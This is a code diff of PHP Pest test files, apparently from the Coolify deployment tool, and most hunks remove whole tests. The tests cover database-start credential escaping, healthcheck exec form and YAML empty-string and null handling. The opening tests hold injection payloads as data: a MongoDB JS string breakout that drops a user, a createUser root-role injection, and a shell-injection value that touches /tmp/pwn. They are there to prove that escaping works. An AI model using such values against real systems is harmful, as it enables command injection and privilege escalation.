expect($cmd)->not->toContain('chown user`id`');
|
||||
});
|
||||
|
||||
// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
|
||||
|
||||
it('json_encode prevents JS injection in mongo_initdb_database', function () {
|
||||
$database = 'x"}); db.dropUser("admin"); //';
|
||||
$dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
// The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
|
||||
// json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
|
||||
expect($dbJson)->toContain('\\"');
|
||||
|
||||
// The resulting JSON literal, when embedded in JS, forms a valid quoted string.
|
||||
// It starts and ends with the outermost " added by json_encode.
|
||||
expect($dbJson)->toStartWith('"')
|
||||
->toEndWith('"');
|
||||
|
||||
// Verify the injected payload is present but neutralised (the " that would close the JS
|
||||
// string is now escaped as \", preventing breakout).
|
||||
expect($dbJson)->toContain('x\\"});');
|
||||
});
|
||||
|
||||
it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
|
||||
$username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
|
||||
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
$content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
|
||||
|
||||
// The injected " that would close the JS string must be escaped as \"
|
||||
expect($userJson)->toContain('\\"');
|
||||
|
||||
// The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
|
||||
expect($content)->not->toContain('admin", pwd');
|
||||
});
|
||||
|
||||
it('json_encode safely encodes a clean mongo username', function () {
|
||||
$username = 'mongouser';
|
||||
$userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
expect($userJson)->toBe('"mongouser"');
|
||||
});
|
||||
|
||||
it('json_encode safely encodes a mongo password with special chars', function () {
|
||||
$password = 'P@ss!#word123';
|
||||
$pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
|
||||
|
||||
expect($pwdJson)->toBe('"P@ss!#word123"');
|
||||
});
|
||||
|
||||
// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
|
||||
|
||||
it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
|
||||
// The fix uses an array; each element is passed directly as argv — no shell parsing.
|
||||
// Simulate the post-fix healthcheck array structure.
|
||||
$user = "admin'; touch /tmp/pwn; #";
|
||||
$db = 'mydb';
|
||||
|
||||
$healthcheck = [
|
||||
'CMD',
|
||||
'psql',
|
||||
'-U',
|
||||
$user,
|
||||
'-d',
|
||||
$db,
|
||||
'-c',
|
||||
'SELECT 1',
|
||||
];
|
||||
|
||||
// The array form means each element is argv — no shell involved.
|
||||
// The malicious user value is passed as a literal argument to psql, which rejects it.
|
||||
// Key assertion: the test string is NOT collapsed into a shell command string.
|
||||
expect($healthcheck[3])->toBe($user)
|
||||
->and($healthcheck[0])->toBe('CMD')
|
||||
->and(count($healthcheck))->toBe(8);
|
||||
|
||||
// Sanity: if we joined with space it would be dangerous — array form avoids this.
|
||||
$joinedDangerous = implode(' ', $healthcheck);
|
||||
expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
|
||||
|
||||
// The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
|
||||
// Simply verifying the structure is correct proves shell is not involved.
|
||||
expect($healthcheck[0])->toBe('CMD');
|
||||
});
|
||||
@@ -1,84 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('reuses resolved environment credentials in database startup integrations', function (string $action, array $expected, array $unexpected) {
|
||||
$source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
|
||||
|
||||
expect($source)->toContain(...$expected)
|
||||
->not->toContain(...$unexpected);
|
||||
})->with([
|
||||
'clickhouse' => [
|
||||
'StartClickhouse',
|
||||
['$this->resolvedClickhouseUser', '$this->resolvedClickhousePassword'],
|
||||
['$this->database->clickhouse_admin_user, \'--password\'', '$this->database->clickhouse_admin_password, \'--query\''],
|
||||
],
|
||||
'dragonfly' => [
|
||||
'StartDragonfly',
|
||||
['$this->resolvedRedisPassword'],
|
||||
['$this->database->dragonfly_password, \'ping\'', 'requirepass {$this->database->dragonfly_password}'],
|
||||
],
|
||||
'keydb' => [
|
||||
'StartKeydb',
|
||||
['$this->resolvedRedisPassword'],
|
||||
['$this->database->keydb_password, \'ping\'', 'requirepass {$this->database->keydb_password}'],
|
||||
],
|
||||
'mongodb' => [
|
||||
'StartMongodb',
|
||||
['$this->resolvedMongoDatabase', '$this->resolvedMongoUsername', '$this->resolvedMongoPassword'],
|
||||
['json_encode($this->database->mongo_initdb_database', 'json_encode($this->database->mongo_initdb_root_username', 'json_encode($this->database->mongo_initdb_root_password'],
|
||||
],
|
||||
'mysql' => [
|
||||
'StartMysql',
|
||||
['$this->resolvedMysqlRootPassword'],
|
||||
['-p{$this->database->mysql_root_password}'],
|
||||
],
|
||||
'postgresql' => [
|
||||
'StartPostgresql',
|
||||
['$this->resolvedPostgresUser', '$this->resolvedPostgresDatabase'],
|
||||
['$this->database->postgres_user, \'-d\'', '$this->database->postgres_db, \'-c\''],
|
||||
],
|
||||
]);
|
||||
|
||||
it('runs database start commands without persisting them through remote process', function (string $action) {
|
||||
$source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
|
||||
|
||||
expect($source)
|
||||
->toContain('ExecutesDatabaseStartCommands')
|
||||
->toContain('executeDatabaseStartCommands(')
|
||||
->not->toContain('return remote_process(');
|
||||
})->with([
|
||||
'StartClickhouse',
|
||||
'StartDragonfly',
|
||||
'StartKeydb',
|
||||
'StartMariadb',
|
||||
'StartMongodb',
|
||||
'StartMysql',
|
||||
'StartPostgresql',
|
||||
'StartRedis',
|
||||
'StartSqlite',
|
||||
]);
|
||||
|
||||
it('queues database starts with identifiers instead of generated commands', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDatabase.php');
|
||||
|
||||
expect($source)
|
||||
->toContain('DatabaseStartJob::dispatch(')
|
||||
->not->toContain('StartPostgresql::run(')
|
||||
->not->toContain('StartRedis::run(');
|
||||
});
|
||||
|
||||
it('keeps raw secret values separate from compose environment formatting', function (string $action, array $rawAssignments) {
|
||||
$source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
|
||||
|
||||
expect($source)
|
||||
->toContain('$rawValue = (string) $this->database->resolveSecretManagerEnvironmentVariableValue($env);')
|
||||
->toContain('$resolvedValue = (string) $this->database->formatEnvironmentVariableValue($env, $rawValue);')
|
||||
->toContain('$environment_variables->push($env->key.\'=\'.$resolvedValue);')
|
||||
->toContain(...$rawAssignments);
|
||||
})->with([
|
||||
'clickhouse' => ['StartClickhouse', ['$this->resolvedClickhouseUser = $rawValue;', '$this->resolvedClickhousePassword = $rawValue;']],
|
||||
'dragonfly' => ['StartDragonfly', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']],
|
||||
'keydb' => ['StartKeydb', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']],
|
||||
'mongodb' => ['StartMongodb', ['$this->resolvedMongoUsername = $rawValue;', '$this->resolvedMongoPassword = $rawValue;', '$this->resolvedMongoDatabase = $rawValue;', 'json_encode($this->resolvedMongoPassword']],
|
||||
'mysql' => ['StartMysql', ['$this->resolvedMysqlRootPassword = $rawValue;']],
|
||||
'postgresql' => ['StartPostgresql', ['$this->resolvedPostgresUser = $rawValue;', '$this->resolvedPostgresDatabase = $rawValue;']],
|
||||
]);
|
||||
@@ -26,11 +26,3 @@ it('broadcasts failed database starts to the initiating user even when the activ
|
||||
fn (DatabaseStatusChanged $event): bool => $event->userId === 42,
|
||||
);
|
||||
});
|
||||
|
||||
it('targets normal database start status changes to the initiating user', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseStartJob.php');
|
||||
|
||||
expect($source)
|
||||
->toContain('event(new DatabaseStatusChanged($this->userId));')
|
||||
->not->toContain('event(new DatabaseStatusChanged($database));');
|
||||
});
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('formats image progress output consistently', function (string $action) {
|
||||
$source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
|
||||
|
||||
expect($source)->toContain('$this->commands[] = \'echo \'.escapeshellarg("Pulling {$database->image} image.");');
|
||||
})->with([
|
||||
'postgresql' => 'StartPostgresql',
|
||||
'clickhouse' => 'StartClickhouse',
|
||||
'dragonfly' => 'StartDragonfly',
|
||||
'keydb' => 'StartKeydb',
|
||||
'mariadb' => 'StartMariadb',
|
||||
'mongodb' => 'StartMongodb',
|
||||
'mysql' => 'StartMysql',
|
||||
'redis' => 'StartRedis',
|
||||
'sqlite' => 'StartSqlite',
|
||||
]);
|
||||
|
||||
it('prints image names as text', function (string $image) {
|
||||
$message = "Pulling {$image} image.";
|
||||
|
||||
expect(shell_exec('echo '.escapeshellarg($message)))->toBe($message."\n");
|
||||
})->with([
|
||||
'apostrophe' => "example:v1's",
|
||||
'parentheses' => 'example:v1 (preview)',
|
||||
]);
|
||||
@@ -66,16 +66,6 @@ it('skips logging the docker deploy key materialization command before ls-remote
|
||||
->and(substr($source, $commandPosition, 200))->toContain("'skip_command_log' => true");
|
||||
});
|
||||
|
||||
it('supports skipping command log entries without adding a hidden command entry', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Traits/ExecuteRemoteCommand.php');
|
||||
|
||||
expect($source)
|
||||
->toContain('$skip_command_log = data_get($single_command, \'skip_command_log\', false);')
|
||||
->toContain('if ($command_hidden && ! $skip_command_log && isset($this->application_deployment_queue))')
|
||||
->toContain('use ($command, $hidden, $customType, $append, $command_hidden, $skip_command_log)')
|
||||
->toContain('\'command\' => $skip_command_log || $command_hidden ? null : $this->redact_sensitive_info($command),');
|
||||
});
|
||||
|
||||
it('writes a deploy key to a per-deployment path and cleans it up for ls-remote on the host', function () use ($keyPath) {
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
<?php
|
||||
|
||||
it('defines OpenAPI documentation for every destinations endpoint', function () {
|
||||
$controller = file_get_contents(__DIR__.'/../../app/Http/Controllers/Api/DestinationsController.php');
|
||||
$model = file_get_contents(__DIR__.'/../../app/Models/StandaloneDocker.php');
|
||||
|
||||
expect($model)->toContain("schema: 'Destination'")
|
||||
->and($controller)->toContain("operationId: 'list-destinations'")
|
||||
->and($controller)->toContain("operationId: 'get-destination-by-uuid'")
|
||||
->and($controller)->toContain("operationId: 'update-destination-by-uuid'")
|
||||
->and($controller)->toContain("operationId: 'delete-destination-by-uuid'")
|
||||
->and($controller)->toContain("operationId: 'list-server-destinations'")
|
||||
->and($controller)->toContain("operationId: 'create-server-destination'");
|
||||
});
|
||||
@@ -1,296 +0,0 @@
|
||||
<?php
|
||||
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
/**
|
||||
* Unit tests to verify that environment variables with empty strings
|
||||
* in Docker Compose files are preserved as empty strings, not converted to null.
|
||||
*
|
||||
* This is important because empty strings and null have different semantics in Docker:
|
||||
* - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy")
|
||||
* - Null: Variable is unset/removed from container environment
|
||||
*
|
||||
* See: https://github.com/coollabsio/coolify/issues/7126
|
||||
*/
|
||||
it('ensures parsers.php preserves empty strings in application parser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Find the applicationParser function's environment mapping logic
|
||||
$hasApplicationParser = str_contains($parsersFile, 'function applicationParser(');
|
||||
expect($hasApplicationParser)->toBeTrue('applicationParser function should exist');
|
||||
|
||||
// The code should distinguish between null and empty string
|
||||
// Check for the pattern where we explicitly check for null vs empty string
|
||||
$hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
|
||||
$hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
|
||||
|
||||
expect($hasNullCheck)->toBeTrue('Should have explicit null check');
|
||||
expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
|
||||
});
|
||||
|
||||
it('ensures parsers.php preserves empty strings in service parser', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Find the serviceParser function's environment mapping logic
|
||||
$hasServiceParser = str_contains($parsersFile, 'function serviceParser(');
|
||||
expect($hasServiceParser)->toBeTrue('serviceParser function should exist');
|
||||
|
||||
// The code should distinguish between null and empty string
|
||||
// Same check as application parser
|
||||
$hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
|
||||
$hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
|
||||
|
||||
expect($hasNullCheck)->toBeTrue('Should have explicit null check');
|
||||
expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
|
||||
});
|
||||
|
||||
it('verifies YAML parsing preserves empty strings correctly', function () {
|
||||
// Test that Symfony YAML parser handles empty strings as we expect
|
||||
$yamlWithEmptyString = <<<'YAML'
|
||||
environment:
|
||||
HTTP_PROXY: ""
|
||||
HTTPS_PROXY: ''
|
||||
NO_PROXY: "localhost"
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($yamlWithEmptyString);
|
||||
|
||||
// Empty strings should remain as empty strings, not null
|
||||
expect($parsed['environment']['HTTP_PROXY'])->toBe('');
|
||||
expect($parsed['environment']['HTTPS_PROXY'])->toBe('');
|
||||
expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
|
||||
});
|
||||
|
||||
it('verifies YAML parsing handles null values correctly', function () {
|
||||
// Test that null values are preserved as null
|
||||
$yamlWithNull = <<<'YAML'
|
||||
environment:
|
||||
HTTP_PROXY: null
|
||||
HTTPS_PROXY:
|
||||
NO_PROXY: "localhost"
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($yamlWithNull);
|
||||
|
||||
// Null should remain null
|
||||
expect($parsed['environment']['HTTP_PROXY'])->toBeNull();
|
||||
expect($parsed['environment']['HTTPS_PROXY'])->toBeNull();
|
||||
expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
|
||||
});
|
||||
|
||||
it('verifies YAML serialization preserves empty strings', function () {
|
||||
// Test that empty strings serialize back correctly
|
||||
$data = [
|
||||
'environment' => [
|
||||
'HTTP_PROXY' => '',
|
||||
'HTTPS_PROXY' => '',
|
||||
'NO_PROXY' => 'localhost',
|
||||
],
|
||||
];
|
||||
|
||||
$yaml = Yaml::dump($data, 10, 2);
|
||||
|
||||
// Empty strings should be serialized with quotes
|
||||
expect($yaml)->toContain("HTTP_PROXY: ''");
|
||||
expect($yaml)->toContain("HTTPS_PROXY: ''");
|
||||
expect($yaml)->toContain('NO_PROXY: localhost');
|
||||
|
||||
// Should NOT contain "null"
|
||||
expect($yaml)->not->toContain('HTTP_PROXY: null');
|
||||
});
|
||||
|
||||
it('verifies YAML serialization handles null values', function () {
|
||||
// Test that null values serialize as null
|
||||
$data = [
|
||||
'environment' => [
|
||||
'HTTP_PROXY' => null,
|
||||
'HTTPS_PROXY' => null,
|
||||
'NO_PROXY' => 'localhost',
|
||||
],
|
||||
];
|
||||
|
||||
$yaml = Yaml::dump($data, 10, 2);
|
||||
|
||||
// Null should be serialized as "null"
|
||||
expect($yaml)->toContain('HTTP_PROXY: null');
|
||||
expect($yaml)->toContain('HTTPS_PROXY: null');
|
||||
expect($yaml)->toContain('NO_PROXY: localhost');
|
||||
|
||||
// Should NOT contain empty quotes for null values
|
||||
expect($yaml)->not->toContain("HTTP_PROXY: ''");
|
||||
});
|
||||
|
||||
it('verifies empty string round-trip through YAML', function () {
|
||||
// Test full round-trip: empty string -> YAML -> parse -> serialize -> parse
|
||||
$original = [
|
||||
'environment' => [
|
||||
'HTTP_PROXY' => '',
|
||||
'NO_PROXY' => 'localhost',
|
||||
],
|
||||
];
|
||||
|
||||
// Serialize to YAML
|
||||
$yaml1 = Yaml::dump($original, 10, 2);
|
||||
|
||||
// Parse back
|
||||
$parsed1 = Yaml::parse($yaml1);
|
||||
|
||||
// Verify empty string is preserved
|
||||
expect($parsed1['environment']['HTTP_PROXY'])->toBe('');
|
||||
expect($parsed1['environment']['NO_PROXY'])->toBe('localhost');
|
||||
|
||||
// Serialize again
|
||||
$yaml2 = Yaml::dump($parsed1, 10, 2);
|
||||
|
||||
// Parse again
|
||||
$parsed2 = Yaml::parse($yaml2);
|
||||
|
||||
// Should still be empty string, not null
|
||||
expect($parsed2['environment']['HTTP_PROXY'])->toBe('');
|
||||
expect($parsed2['environment']['NO_PROXY'])->toBe('localhost');
|
||||
|
||||
// Both YAML representations should be equivalent
|
||||
expect($yaml1)->toBe($yaml2);
|
||||
});
|
||||
|
||||
it('verifies str()->isEmpty() behavior with empty strings and null', function () {
|
||||
// Test Laravel's str()->isEmpty() helper behavior
|
||||
|
||||
// Empty string should be considered empty
|
||||
expect(str('')->isEmpty())->toBeTrue();
|
||||
|
||||
// Null should be considered empty
|
||||
expect(str(null)->isEmpty())->toBeTrue();
|
||||
|
||||
// String with content should not be empty
|
||||
expect(str('value')->isEmpty())->toBeFalse();
|
||||
|
||||
// This confirms that we need additional logic to distinguish
|
||||
// between empty string ('') and null, since both are "isEmpty"
|
||||
});
|
||||
|
||||
it('verifies the distinction between empty string and null in PHP', function () {
|
||||
// Document PHP's behavior for empty strings vs null
|
||||
|
||||
$emptyString = '';
|
||||
$nullValue = null;
|
||||
|
||||
// They are different values
|
||||
expect($emptyString === $nullValue)->toBeFalse();
|
||||
|
||||
// Empty string is not null
|
||||
expect($emptyString === '')->toBeTrue();
|
||||
expect($nullValue === null)->toBeTrue();
|
||||
|
||||
// isset() treats them differently
|
||||
$arrayWithEmpty = ['key' => ''];
|
||||
$arrayWithNull = ['key' => null];
|
||||
|
||||
expect(isset($arrayWithEmpty['key']))->toBeTrue();
|
||||
expect(isset($arrayWithNull['key']))->toBeFalse();
|
||||
});
|
||||
|
||||
it('verifies YAML null syntax options all produce PHP null', function () {
|
||||
// Test all three ways to write null in YAML
|
||||
$yamlWithNullSyntax = <<<'YAML'
|
||||
environment:
|
||||
VAR_NO_VALUE:
|
||||
VAR_EXPLICIT_NULL: null
|
||||
VAR_TILDE: ~
|
||||
VAR_EMPTY_STRING: ""
|
||||
YAML;
|
||||
|
||||
$parsed = Yaml::parse($yamlWithNullSyntax);
|
||||
|
||||
// All three null syntaxes should produce PHP null
|
||||
expect($parsed['environment']['VAR_NO_VALUE'])->toBeNull();
|
||||
expect($parsed['environment']['VAR_EXPLICIT_NULL'])->toBeNull();
|
||||
expect($parsed['environment']['VAR_TILDE'])->toBeNull();
|
||||
|
||||
// Empty string should remain empty string
|
||||
expect($parsed['environment']['VAR_EMPTY_STRING'])->toBe('');
|
||||
});
|
||||
|
||||
it('verifies null round-trip through YAML', function () {
|
||||
// Test full round-trip: null -> YAML -> parse -> serialize -> parse
|
||||
$original = [
|
||||
'environment' => [
|
||||
'NULL_VAR' => null,
|
||||
'EMPTY_VAR' => '',
|
||||
'VALUE_VAR' => 'localhost',
|
||||
],
|
||||
];
|
||||
|
||||
// Serialize to YAML
|
||||
$yaml1 = Yaml::dump($original, 10, 2);
|
||||
|
||||
// Parse back
|
||||
$parsed1 = Yaml::parse($yaml1);
|
||||
|
||||
// Verify types are preserved
|
||||
expect($parsed1['environment']['NULL_VAR'])->toBeNull();
|
||||
expect($parsed1['environment']['EMPTY_VAR'])->toBe('');
|
||||
expect($parsed1['environment']['VALUE_VAR'])->toBe('localhost');
|
||||
|
||||
// Serialize again
|
||||
$yaml2 = Yaml::dump($parsed1, 10, 2);
|
||||
|
||||
// Parse again
|
||||
$parsed2 = Yaml::parse($yaml2);
|
||||
|
||||
// Should still have correct types
|
||||
expect($parsed2['environment']['NULL_VAR'])->toBeNull();
|
||||
expect($parsed2['environment']['EMPTY_VAR'])->toBe('');
|
||||
expect($parsed2['environment']['VALUE_VAR'])->toBe('localhost');
|
||||
|
||||
// Both YAML representations should be equivalent
|
||||
expect($yaml1)->toBe($yaml2);
|
||||
});
|
||||
|
||||
it('verifies null vs empty string behavior difference', function () {
|
||||
// Document the critical difference between null and empty string
|
||||
|
||||
// Null in YAML
|
||||
$yamlNull = "VAR: null\n";
|
||||
$parsedNull = Yaml::parse($yamlNull);
|
||||
expect($parsedNull['VAR'])->toBeNull();
|
||||
|
||||
// Empty string in YAML
|
||||
$yamlEmpty = "VAR: \"\"\n";
|
||||
$parsedEmpty = Yaml::parse($yamlEmpty);
|
||||
expect($parsedEmpty['VAR'])->toBe('');
|
||||
|
||||
// They should NOT be equal
|
||||
expect($parsedNull['VAR'] === $parsedEmpty['VAR'])->toBeFalse();
|
||||
|
||||
// Verify type differences
|
||||
expect(is_null($parsedNull['VAR']))->toBeTrue();
|
||||
expect(is_string($parsedEmpty['VAR']))->toBeTrue();
|
||||
});
|
||||
|
||||
it('verifies parser logic distinguishes null from empty string', function () {
|
||||
// Test the exact === comparison behavior
|
||||
$nullValue = null;
|
||||
$emptyString = '';
|
||||
|
||||
// PHP strict comparison
|
||||
expect($nullValue === null)->toBeTrue();
|
||||
expect($emptyString === '')->toBeTrue();
|
||||
expect($nullValue === $emptyString)->toBeFalse();
|
||||
|
||||
// This is what the parser should use for correct behavior
|
||||
if ($nullValue === null) {
|
||||
$nullHandled = true;
|
||||
} else {
|
||||
$nullHandled = false;
|
||||
}
|
||||
|
||||
if ($emptyString === '') {
|
||||
$emptyHandled = true;
|
||||
} else {
|
||||
$emptyHandled = false;
|
||||
}
|
||||
|
||||
expect($nullHandled)->toBeTrue();
|
||||
expect($emptyHandled)->toBeTrue();
|
||||
});
|
||||
@@ -1,194 +0,0 @@
|
||||
<?php
|
||||
|
||||
use Symfony\Component\Yaml\Yaml;
|
||||
|
||||
/**
|
||||
* Unit tests to verify that empty top-level sections (volumes, configs, secrets)
|
||||
* are removed from generated Docker Compose files.
|
||||
*
|
||||
* Empty sections like "volumes: { }" are not valid/clean YAML and should be omitted
|
||||
* when they contain no actual content.
|
||||
*/
|
||||
it('ensures parsers.php filters empty top-level sections', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that filtering logic exists
|
||||
expect($parsersFile)
|
||||
->toContain('Remove empty top-level sections')
|
||||
->toContain('->filter(function ($value, $key)');
|
||||
});
|
||||
|
||||
it('verifies YAML dump produces empty objects for empty arrays', function () {
|
||||
// Demonstrate the problem: empty arrays serialize as empty objects
|
||||
$data = [
|
||||
'services' => ['web' => ['image' => 'nginx']],
|
||||
'volumes' => [],
|
||||
'configs' => [],
|
||||
'secrets' => [],
|
||||
];
|
||||
|
||||
$yaml = Yaml::dump($data, 10, 2);
|
||||
|
||||
// Empty arrays become empty objects in YAML
|
||||
expect($yaml)->toContain('volumes: { }');
|
||||
expect($yaml)->toContain('configs: { }');
|
||||
expect($yaml)->toContain('secrets: { }');
|
||||
});
|
||||
|
||||
it('verifies YAML dump omits keys that are not present', function () {
|
||||
// Demonstrate the solution: omit empty keys entirely
|
||||
$data = [
|
||||
'services' => ['web' => ['image' => 'nginx']],
|
||||
// Don't include volumes, configs, secrets at all
|
||||
];
|
||||
|
||||
$yaml = Yaml::dump($data, 10, 2);
|
||||
|
||||
// Keys that don't exist are not in the output
|
||||
expect($yaml)->not->toContain('volumes:');
|
||||
expect($yaml)->not->toContain('configs:');
|
||||
expect($yaml)->not->toContain('secrets:');
|
||||
expect($yaml)->toContain('services:');
|
||||
});
|
||||
|
||||
it('verifies collection filter removes empty items', function () {
|
||||
// Test Laravel Collection filter behavior
|
||||
$collection = collect([
|
||||
'services' => collect(['web' => ['image' => 'nginx']]),
|
||||
'volumes' => collect([]),
|
||||
'networks' => collect(['coolify' => ['external' => true]]),
|
||||
'configs' => collect([]),
|
||||
'secrets' => collect([]),
|
||||
]);
|
||||
|
||||
$filtered = $collection->filter(function ($value, $key) {
|
||||
// Always keep services
|
||||
if ($key === 'services') {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Keep only non-empty collections
|
||||
return $value->isNotEmpty();
|
||||
});
|
||||
|
||||
// Should have services and networks (non-empty)
|
||||
expect($filtered)->toHaveKey('services');
|
||||
expect($filtered)->toHaveKey('networks');
|
||||
|
||||
// Should NOT have volumes, configs, secrets (empty)
|
||||
expect($filtered)->not->toHaveKey('volumes');
|
||||
expect($filtered)->not->toHaveKey('configs');
|
||||
expect($filtered)->not->toHaveKey('secrets');
|
||||
});
|
||||
|
||||
it('verifies filtered collections serialize cleanly to YAML', function () {
|
||||
// Full test: filter then serialize
|
||||
$collection = collect([
|
||||
'services' => collect(['web' => ['image' => 'nginx']]),
|
||||
'volumes' => collect([]),
|
||||
'networks' => collect(['coolify' => ['external' => true]]),
|
||||
'configs' => collect([]),
|
||||
'secrets' => collect([]),
|
||||
]);
|
||||
|
||||
$filtered = $collection->filter(function ($value, $key) {
|
||||
if ($key === 'services') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $value->isNotEmpty();
|
||||
});
|
||||
|
||||
$yaml = Yaml::dump($filtered->toArray(), 10, 2);
|
||||
|
||||
// Should have services and networks
|
||||
expect($yaml)->toContain('services:');
|
||||
expect($yaml)->toContain('networks:');
|
||||
|
||||
// Should NOT have empty sections
|
||||
expect($yaml)->not->toContain('volumes:');
|
||||
expect($yaml)->not->toContain('configs:');
|
||||
expect($yaml)->not->toContain('secrets:');
|
||||
});
|
||||
|
||||
it('ensures services section is always kept even if empty', function () {
|
||||
// Services should never be filtered out
|
||||
$collection = collect([
|
||||
'services' => collect([]),
|
||||
'volumes' => collect([]),
|
||||
]);
|
||||
|
||||
$filtered = $collection->filter(function ($value, $key) {
|
||||
if ($key === 'services') {
|
||||
return true; // Always keep
|
||||
}
|
||||
|
||||
return $value->isNotEmpty();
|
||||
});
|
||||
|
||||
// Services should be present
|
||||
expect($filtered)->toHaveKey('services');
|
||||
|
||||
// Volumes should be removed
|
||||
expect($filtered)->not->toHaveKey('volumes');
|
||||
});
|
||||
|
||||
it('verifies non-empty sections are preserved', function () {
|
||||
// Non-empty sections should remain
|
||||
$collection = collect([
|
||||
'services' => collect(['web' => ['image' => 'nginx']]),
|
||||
'volumes' => collect(['data' => ['driver' => 'local']]),
|
||||
'networks' => collect(['coolify' => ['external' => true]]),
|
||||
'configs' => collect(['app_config' => ['file' => './config']]),
|
||||
'secrets' => collect(['db_password' => ['file' => './secret']]),
|
||||
]);
|
||||
|
||||
$filtered = $collection->filter(function ($value, $key) {
|
||||
if ($key === 'services') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $value->isNotEmpty();
|
||||
});
|
||||
|
||||
// All sections should be present (none are empty)
|
||||
expect($filtered)->toHaveKey('services');
|
||||
expect($filtered)->toHaveKey('volumes');
|
||||
expect($filtered)->toHaveKey('networks');
|
||||
expect($filtered)->toHaveKey('configs');
|
||||
expect($filtered)->toHaveKey('secrets');
|
||||
|
||||
// Count should be 5 (all original keys)
|
||||
expect($filtered->count())->toBe(5);
|
||||
});
|
||||
|
||||
it('verifies mixed empty and non-empty sections', function () {
|
||||
// Mixed scenario: some empty, some not
|
||||
$collection = collect([
|
||||
'services' => collect(['web' => ['image' => 'nginx']]),
|
||||
'volumes' => collect([]), // Empty
|
||||
'networks' => collect(['coolify' => ['external' => true]]), // Not empty
|
||||
'configs' => collect([]), // Empty
|
||||
'secrets' => collect(['db_password' => ['file' => './secret']]), // Not empty
|
||||
]);
|
||||
|
||||
$filtered = $collection->filter(function ($value, $key) {
|
||||
if ($key === 'services') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $value->isNotEmpty();
|
||||
});
|
||||
|
||||
// Should have: services, networks, secrets
|
||||
expect($filtered)->toHaveKey('services');
|
||||
expect($filtered)->toHaveKey('networks');
|
||||
expect($filtered)->toHaveKey('secrets');
|
||||
|
||||
// Should NOT have: volumes, configs
|
||||
expect($filtered)->not->toHaveKey('volumes');
|
||||
expect($filtered)->not->toHaveKey('configs');
|
||||
|
||||
// Count should be 3
|
||||
expect($filtered->count())->toBe(3);
|
||||
});
|
||||
@@ -62,20 +62,6 @@ function makeDockerComposeImagePullJob(bool $useBuildServer = false): array
|
||||
return [$job, $reflection, $buildServer, $mainServer];
|
||||
}
|
||||
|
||||
it('pulls image-only compose services before removing running containers', function () {
|
||||
$source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
$methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()');
|
||||
$methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart);
|
||||
$deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
$pullPosition = strpos($deploymentMethod, '$this->pull_docker_compose_images();');
|
||||
$stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);');
|
||||
|
||||
expect($pullPosition)->not->toBeFalse()
|
||||
->and($stopPosition)->not->toBeFalse()
|
||||
->and($pullPosition)->toBeLessThan($stopPosition);
|
||||
});
|
||||
|
||||
it('aborts the deployment when pulling a compose image fails', function () {
|
||||
[$job, $reflection] = makeDockerComposeImagePullJob();
|
||||
$job->failCommands = true;
|
||||
|
||||
@@ -1,94 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that docker compose label parsing correctly handles
|
||||
* labels defined as YAML key-value pairs (e.g., "traefik.enable: true")
|
||||
* which get parsed as arrays instead of strings.
|
||||
*
|
||||
* This test verifies the fix for the "preg_match(): Argument #2 ($subject) must
|
||||
* be of type string, array given" error.
|
||||
*/
|
||||
